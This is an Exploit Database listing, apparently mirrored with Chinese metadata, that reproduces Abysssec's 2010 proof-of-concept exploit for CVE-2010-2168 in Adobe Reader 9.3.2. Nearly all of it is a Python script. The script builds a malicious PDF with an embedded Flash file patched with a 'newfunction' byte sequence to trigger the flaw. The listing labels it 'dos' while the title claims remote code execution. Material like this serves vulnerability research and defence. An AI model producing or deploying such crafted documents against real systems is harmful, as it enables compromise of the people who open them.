Adobe Acrobat Reader and Flash – ‘newfunction’ Remote Code Execution

• Exploit Database
• 123 阅读

• 作者： Abysssec
  日期： 2010-09-23
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/15086/
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  &apos;&apos;&apos; ________ __ ____ |\/|/ __ \ /\| || |_ \ | \/ | || | /\ | || | |_) | | |\/| | || |/ /\ \| || |_ < | || | |__| / ____ \ |__| | |_) | |_||_|\____/_/\_\____/|____/   http://www.exploit-db.com/moaub-23-adobe-acrobat-and-reader-newfunction-remote-code-execution-vulnerability/ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15086.zip (moaub-23-exploit.zip) &apos;&apos;&apos;   &apos;&apos;&apos; Title : Adobe Acrobat Reader and Flash &apos;newfunction&apos; Remote Code Execution Vulnerability Version : Adobe Reader 9.3.2 Analysis: http://www.abysssec.com Vendor: http://www.adobe.com Impact: Critical Contact : shahin [at] abysssec.com , info[at] abysssec.com Twitter : @abysssec CVE : CVE-2010-2168 MOAUB Number: MOAUB-06 &apos;&apos;&apos;   import sys   class PDF: def __init__(self): self.xrefs = [] self.eol = &apos;\x0a&apos; self.content = &apos;&apos; self.xrefs_offset = 0 def header(self): self.content += &apos;%PDF-1.6&apos; + self.eol def obj(self, obj_num, data,flag): self.xrefs.append(len(self.content)) self.content += &apos;%d 0 obj&apos; % obj_num if flag == 1: self.content += self.eol + &apos;<< &apos; + data + &apos; >>&apos; + self.eol else: self.content += self.eol + data + self.eol self.content += &apos;endobj&apos; + self.eol   def obj_SWFStream(self, obj_num, data, stream): self.xrefs.append(len(self.content)) self.content += &apos;%d 0 obj&apos; % obj_num self.content += self.eol + &apos;<< &apos; + data + &apos;/Params << /Size %d >> /DL %d /Length %d&apos; %(len(stream),len(stream),len(stream)) self.content += &apos; >>&apos; + self.eol self.content += &apos;stream&apos; + self.eol + stream + self.eol + &apos;endstream&apos; + self.eol self.content += &apos;endobj&apos; + self.eol def obj_Stream(self, obj_num, data, stream): self.xrefs.append(len(self.content)) self.content += &apos;%d 0 obj&apos; % obj_num self.content += self.eol + &apos;<< &apos; + data + &apos;/Length %d&apos; %len(stream) self.content += &apos; >>&apos; + self.eol self.content += &apos;stream&apos; + self.eol + stream + self.eol + &apos;endstream&apos; + self.eol self.content += &apos;endobj&apos; + self.eol def ref(self, ref_num): return &apos;%d 0 R&apos; % ref_num def xref(self): self.xrefs_offset = len(self.content) self.content += &apos;xref&apos; + self.eol self.content += &apos;0 %d&apos; % (len(self.xrefs) + 1) self.content += self.eol self.content += &apos;0000000000 65535 f&apos; + self.eol for i in self.xrefs: self.content += &apos;%010d 00000 n&apos; % i self.content += self.eol   def trailer(self): self.content += &apos;trailer&apos; + self.eol self.content += &apos;<< /Size %d&apos; % (len(self.xrefs) + 1) self.content += &apos; /Root &apos; + self.ref(1) + &apos; >> &apos; + self.eol self.content += &apos;startxref&apos; + self.eol self.content += &apos;%d&apos; % self.xrefs_offset self.content += self.eol self.content += &apos;%%EOF&apos; def generate(self): return self.content     class POC:   def getSWF(self): try: fdR = open(&apos;flash.swf&apos;, &apos;rb+&apos;) strTotal = fdR.read() str1 = strTotal[:3673] command = &apos;\x40\xE8\xD4\xF1\xFF\x33&apos; #newfunction str2 = strTotal[3679:] fdW= open(&apos;poc.swf&apos;, &apos;wb+&apos;) finalStr = str1+command+str2 fdW.write(finalStr)   fdR.close() return finalStr   except IOError: print &apos;[*] Error : An IO error has occurred&apos;   def generate_pdf(): poc = POC() swfFile = &apos;poc.swf&apos; pdf = PDF() pdf.header() pdf.obj(1, &apos;/MarkInfo<</Marked true>>/Type /Catalog/Pages &apos; + pdf.ref(2) ,1) pdf.obj(2, &apos;/Count 1/Type/Pages/Kids[ &apos;+pdf.ref(3)+&apos; ]&apos;,1) pdf.obj(3, &apos;/Annots [ &apos;+pdf.ref(5) +&apos; ]/Parent &apos;+pdf.ref(2) + " /Type/Page"+&apos; /Contents &apos;+pdf.ref(4) ,1) pdf.obj_Stream(4, &apos;&apos;,&apos;&apos;) pdf.obj(5, &apos;/RichMediaSettings &apos;+pdf.ref(6)+&apos; /NM ( &apos; + swfFile + &apos; ) /Subtype /RichMedia /Type /Annot /RichMediaContent &apos;+pdf.ref(7)+&apos; /Rect [ 266 116 430 204 ]&apos;,1) pdf.obj(6, &apos;/Subtype /Flash /Activation &apos;+pdf.ref(8)+&apos; /Type /RichMediaSettings /Deactivation &apos;+pdf.ref(9),1) pdf.obj(7, &apos;/Type /RichMediaContent /Assets &apos;+pdf.ref(10) +&apos; /Configurations [ &apos; + pdf.ref(11) + &apos;]&apos;,1) pdf.obj(8, &apos;/Type /RichMediaActivation /Condition /PO &apos;,1) pdf.obj(9, &apos;/Type /RichMediaDeactivation /Condition /XD &apos;,1) pdf.obj(10, &apos;/Names [(&apos;+ swfFile +&apos;) &apos; + pdf.ref(12)+&apos; ]&apos;,1) pdf.obj(11, &apos;/Subtype /Flash /Type /RichMediaConfiguration /Name (ElFlash) /Instances [ &apos;+pdf.ref(13) +&apos; ]&apos;,1) pdf.obj(12, &apos;/EF <</F &apos;+pdf.ref(14) +&apos; >> /Type /Filespec /F (&apos;+ swfFile +&apos;)&apos;,1) pdf.obj(13, &apos;/Subype /Flash /Params &apos;+pdf.ref(15) +&apos; /Type /RichMediaInstance /Asset &apos;+ pdf.ref(12) ,1) pdf.obj_SWFStream(14, &apos; /Type /EmbeddedFile&apos;,poc.getSWF() ) pdf.obj(15, &apos;/Binding /Background /Type /RichMediaParams /FlashVars () /Settings &apos;+pdf.ref(16),1) pdf.obj_Stream(16, &apos;<</Length 0 >> &apos;,&apos;&apos;) pdf.xref() pdf.trailer() return pdf.generate() def main(): if len(sys.argv) != 2: print &apos;Usage: python %s [output file name]&apos; % sys.argv[0] sys.exit(0) file_name = sys.argv[1] if not file_name.endswith(&apos;.pdf&apos;): file_name = file_name + &apos;.pdf&apos; try: fd = open(file_name, &apos;wb+&apos;) fd.write(generate_pdf()) fd.close() print &apos;[-] PDF file generated and written to %s&apos; % file_name except IOError: print &apos;[*] Error : An IO error has occurred&apos; print &apos;[-] Exiting ...&apos; sys.exit(-1) if __name__ == &apos;__main__&apos;: main()